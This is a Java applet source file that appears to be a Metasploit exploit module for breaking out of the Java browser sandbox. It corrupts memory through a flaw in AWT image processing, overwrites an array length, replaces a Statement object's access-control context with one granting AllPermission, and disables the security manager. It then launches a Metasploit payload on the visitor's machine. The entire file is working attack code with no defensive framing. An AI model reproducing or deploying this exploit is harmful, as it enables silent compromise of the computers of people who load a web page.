import java.awt.image.*; import java.awt.color.*; import java.beans.Statement; import java.security.*; import metasploit.Payload; import java.applet.Applet; public class Exploit extends Applet { public void init() { try { // try several attempts to exploit for(int i=1; i <= 5 && System.getSecurityManager() != null; i++){ //System.out.println("Attempt #" + i); tryExpl(); } // check results if (System.getSecurityManager() == null) { // execute payload //Runtime.getRuntime().exec(_isMac ? "/Applications/Calculator.app/Contents/MacOS/Calculator":"calc.exe"); Payload.main(null); } } catch (Exception ex) { //ex.printStackTrace(); } } public static String toHex(int i) { return Integer.toHexString(i); } private boolean _is64 = System.getProperty("os.arch","").contains("64"); // we will need ColorSpace which returns 1 from getNumComponents() class MyColorSpace extends ICC_ColorSpace { public MyColorSpace() { super(ICC_Profile.getInstance(ColorSpace.CS_sRGB)); } // override getNumComponents public int getNumComponents() { int res = 1; return res; } } // we will need ComponentColorModel with the obedient isCompatibleRaster() which always returns true. class MyColorModel extends ComponentColorModel { public MyColorModel() { super(new MyColorSpace(), new int[]{8,8,8}, false, false, 1, DataBuffer.TYPE_BYTE); } // override isCompatibleRaster public boolean isCompatibleRaster(Raster r) { boolean res = true; return res; } } private int tryExpl() { try { // alloc aux vars String name = "setSecurityManager"; Object[] o1 = new Object[1]; Object o2 = new Statement(System.class, name, o1); // make a dummy call for init // allocate byte buffer for destination Raster. DataBufferByte dst = new DataBufferByte(16); // allocate the target array right after dst int[] a = new int[8]; // allocate an object array right after a[] Object[] oo = new Object[7]; // create Statement with the restricted AccessControlContext oo[2] = new Statement(System.class, name, o1); // create powerful AccessControlContext Permissions ps = new Permissions(); ps.add(new AllPermission()); oo[3] = new AccessControlContext( new ProtectionDomain[]{ new ProtectionDomain( new CodeSource( new java.net.URL("file:///"), new java.security.cert.Certificate[0] ), ps ) } ); // store System.class pointer in oo[] oo[4] = ((Statement)oo[2]).getTarget(); // save old a.length int oldLen = a.length; //System.out.println("a.length = 0x" + toHex(oldLen)); // create regular source image BufferedImage bi1 = new BufferedImage(4,1, BufferedImage.TYPE_INT_ARGB); // prepare the sample model with "dataBitOffset" pointing outside dst[] onto a.length MultiPixelPackedSampleModel sm = new MultiPixelPackedSampleModel(DataBuffer.TYPE_BYTE, 4,1,1,4, 44 + (_is64 ? 8:0)); // create malformed destination image based on dst[] data WritableRaster wr = Raster.createWritableRaster(sm, dst, null); BufferedImage bi2 = new BufferedImage(new MyColorModel(), wr, false, null); // prepare first pixel which will overwrite a.length bi1.getRaster().setPixel(0,0, new int[]{-1,-1,-1,-1}); // call the vulnerable storeImageArray() function (see ...\jdk\src\share\native\sun\awt\medialib\awt_ImagingLib.c) AffineTransformOp op = new AffineTransformOp(new java.awt.geom.AffineTransform(1,0,0,1,0,0), null); op.filter(bi1, bi2); // check results: a.length should be overwritten by 0xFFFFFFFF int len = a.length; //System.out.println("a.length = 0x" + toHex(len)); if (len == oldLen) { // check a[] content corruption // for RnD for(int i=0; i < len; i++) { if (a[i] != 0) { //System.out.println("a["+i+"] = 0x" + toHex(a[i])); } } // exit //System.out.println("error 1"); return 1; } // ok, now we can read/write outside the real a[] storage, // lets find our Statement object and replace its private "acc" field value // search for oo[] after a[oldLen] boolean found = false; int ooLen = oo.length; for(int i=oldLen+2; i < oldLen+32; i++) if (a[i-1]==ooLen && a[i]==0 && a[i+1]==0 // oo[0]==null && oo[1]==null && a[i+2]!=0 && a[i+3]!=0 && a[i+4]!=0 // oo[2,3,4] != null && a[i+5]==0 && a[i+6]==0) // oo[5,6] == null { // read pointer from oo[4] int stmTrg = a[i+4]; // search for the Statement.target field behind oo[] for(int j=i+7; j < i+7+64; j++){ if (a[j] == stmTrg) { // overwrite default Statement.acc by oo[3] ("AllPermission") a[j-1] = a[i+3]; found = true; break; } } if (found) break; } // check results if (!found) { // print the memory dump on error // for RnD String s = "a["+oldLen+"...] = "; for(int i=oldLen; i < oldLen+32; i++) s += toHex(a[i]) + ","; //System.out.println(s); } else try { // call System.setSecurityManager(null) ((Statement)oo[2]).execute(); // show results: SecurityManager should be null } catch (Exception ex) { //ex.printStackTrace(); } //System.out.println(System.getSecurityManager() == null ? "Ok.":"Fail."); } catch (Exception ex) { //ex.printStackTrace(); } return 0; } }